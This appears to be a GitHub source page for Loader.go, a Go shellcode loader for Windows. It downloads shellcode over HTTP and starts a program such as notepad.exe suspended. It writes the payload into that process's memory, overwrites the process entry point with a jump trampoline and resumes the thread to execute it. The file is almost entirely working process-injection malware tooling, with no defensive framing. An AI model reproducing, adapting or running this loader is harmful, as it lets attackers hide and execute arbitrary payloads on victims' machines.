-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLoader.go
642 lines (581 loc) Β· 26.1 KB
/
Loader.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
package main
import (
"encoding/binary"
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"syscall"
"unsafe"
"io/ioutil"
"net/http"
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
args := flag.String("args", "", "Program command line arguments")
shellcodePath := flag.String("shellcode", "", "Path to the shellcode file")
shellcodeURL := flag.String("shellcode-url", "http://127.0.0.1:8080/download/shellcode", "URL of the shellcode file")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()
if *shellcodeURL == "" {
log.Fatal("Please provide the URL of the shellcode file using the -shellcode-url flag")
}
// Read shellcode from file
// Make HTTP GET request to fetch shellcode from URL
resp, err := http.Get(*shellcodeURL)
if err != nil {
log.Fatalf("Error fetching shellcode from URL: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
log.Fatalf("Failed to fetch shellcode from URL: %s", resp.Status)
}
// Read shellcode bytes from response body
shellcodeBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Error reading shellcode from response body: %v", err)
}
// Convert shellcode bytes to hexadecimal string
shellcodeHex := hex.EncodeToString(shellcodeBytes)
// Use the shellcodeHex as needed
if *debug {
fmt.Println("[DEBUG]Loaded shellcode from file:", *shellcodePath)
}
// Convert shellcode to byte array
shellcode, errShellcode := hex.DecodeString(shellcodeHex)
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
}
// Load DLLs and Procedures
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading supporting procedures...")
}
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
// Create child proccess in suspended state
/*
BOOL CreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
*/
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
}
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId))
}
// Allocate memory in child process
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
}
// Write shellcode into child process memory
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
}
// Change memory permissions to RX in child process where shellcode was written
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
}
// Query the child process and find its image base address from its Process Environment Block (PEB)
// https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37
// http://bytepointer.com/resources/tebpeb32.htm
// https://www.nirsoft.net/kernel_struct/vista/PEB.html
type PEB struct {
//reserved1 [2]byte // BYTE 0-1
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
BeingDebugged byte // BYTE 2
reserved2 [1]byte // BYTE 3
// ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+)
// IsProtectedProcess : 1; //0x0003:1 (Vista+)
// IsLegacyProcess : 1; //0x0003:2 (Vista+)
// IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+)
// SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+)
// IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+)
// IsAppContainer : 1; //0x0003:6 (Win8_RTM+)
// SpareBit : 1; //0x0003:7
//reserved3 [2]uintptr // PVOID BYTE 4-8
Mutant uintptr // BYTE 4
ImageBaseAddress uintptr // BYTE 8
Ldr uintptr // PPEB_LDR_DATA
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
reserved4 [3]uintptr // PVOID
AtlThunkSListPtr uintptr // PVOID
reserved5 uintptr // PVOID
reserved6 uint32 // ULONG
reserved7 uintptr // PVOID
reserved8 uint32 // ULONG
AtlThunkSListPtr32 uint32 // ULONG
reserved9 [45]uintptr // PVOID
reserved10 [96]byte // BYTE
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
reserved11 [128]byte // BYTE
reserved12 [1]uintptr // PVOID
SessionId uint32 // ULONG
}
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
type PROCESS_BASIC_INFORMATION struct {
reserved1 uintptr // PVOID
PebBaseAddress uintptr // PPEB
reserved2 [2]uintptr // PVOID
UniqueProcessId uintptr // ULONG_PTR
InheritedFromUniqueProcessID uintptr // PVOID
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId))
}
var processInformation PROCESS_BASIC_INFORMATION
var returnLength uintptr
ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error()))
}
if ntStatus != 0 {
if ntStatus == 3221225476 {
log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
}
fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus)))
}
if *verbose {
fmt.Println("[-]Got PEB info from NtQueryInformationProcess")
}
// Read from PEB base address to populate the PEB structure
// ReadProcessMemory
/*
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead
);
*/
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...")
}
var peb PEB
var readBytes int32
_, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb))
fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress))
}
// Read the child program's DOS header and validate it is a MZ executable
type IMAGE_DOS_HEADER struct {
Magic uint16 // USHORT Magic number
Cblp uint16 // USHORT Bytes on last page of file
Cp uint16 // USHORT Pages in file
Crlc uint16 // USHORT Relocations
Cparhdr uint16 // USHORT Size of header in paragraphs
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
SS uint16 // USHORT Initial (relative) SS value
SP uint16 // USHORT Initial SP value
CSum uint16 // USHORT Checksum
IP uint16 // USHORT Initial IP value
CS uint16 // USHORT Initial (relative) CS value
LfaRlc uint16 // USHORT File address of relocation table
Ovno uint16 // USHORT Overlay number
Res [4]uint16 // USHORT Reserved words
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
OEMInfo uint16 // USHORT OEM information; e_oemid specific
Res2 [10]uint16 // USHORT Reserved words
LfaNew int32 // LONG File address of new exe header
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...")
}
var dosHeader IMAGE_DOS_HEADER
var readBytes2 int32
_, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader))
fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian
fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew))
}
// 23117 is the LittleEndian unsigned base10 representation of MZ
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
if dosHeader.Magic != 23117 {
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
}
// Read the child process's PE header signature to validate it is a PE
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...")
}
var Signature uint32
var readBytes3 int32
_, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature))
}
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
if Signature != 17744 {
log.Fatal("[!]PE Signature string was not PE")
}
// Read the child process's PE file header
/*
typedef struct _IMAGE_FILE_HEADER {
USHORT Machine;
USHORT NumberOfSections;
ULONG TimeDateStamp;
ULONG PointerToSymbolTable;
ULONG NumberOfSymbols;
USHORT SizeOfOptionalHeader;
USHORT Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
*/
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...")
}
var peHeader IMAGE_FILE_HEADER
var readBytes4 int32
_, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4))
switch peHeader.Machine {
case 34404: // 0x8664
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)")
case 332: // 0x14c
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)")
default:
fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine))
}
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader))
fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine))
}
// Read the child process's PE optional header to find it's entry point
/*
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
typedef struct _IMAGE_OPTIONAL_HEADER64 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve;
ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve;
ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
*/
type IMAGE_OPTIONAL_HEADER64 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
/*
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
*/
type IMAGE_OPTIONAL_HEADER32 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
BaseOfData uint32 // Different from 64 bit header
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...")
}
var optHeader64 IMAGE_OPTIONAL_HEADER64
var optHeader32 IMAGE_OPTIONAL_HEADER32
var errReadProcessMemory5 error
var readBytes5 int32
if peHeader.Machine == 34404 { // 0x8664
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
} else if peHeader.Machine == 332 { // 0x14c
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5))
}
if *debug {
if peHeader.Machine == 332 { // 0x14c
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32))
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint)))
}
if peHeader.Machine == 34404 { // 0x8664
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64))
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint)))
}
}
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
var ep uintptr
if peHeader.Machine == 34404 { // 0x8664 x64
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 { // 0x14c x86
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
// x86 - 0xb8 = mov eax
// x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax
if peHeader.Machine == 34404 { // 0x8664 x64
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 { // 0x14c x86
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// 0xff ; 0xe0 = jmp [r|e]ax
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer))
}
_, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error()))
}
if *verbose {
fmt.Println("[-]Successfully overwrote the AddressofEntryPoint")
}
// Resume the child process
if *debug {
fmt.Println("[DEBUG]Calling ResumeThread...")
}
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
if *verbose {
fmt.Println("[+]Process resumed and shellcode executed")
}
// Close the handle to the child process
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process...")
}
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}
// Close the hand to the child process thread
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
}
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
}
// export GOOS=windows GOARCH=amd64;go build -o goCreateProcess.exe cmd/CreateProcess/main.go
// test STDERR go run .\cmd\CreateProcess\main.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf"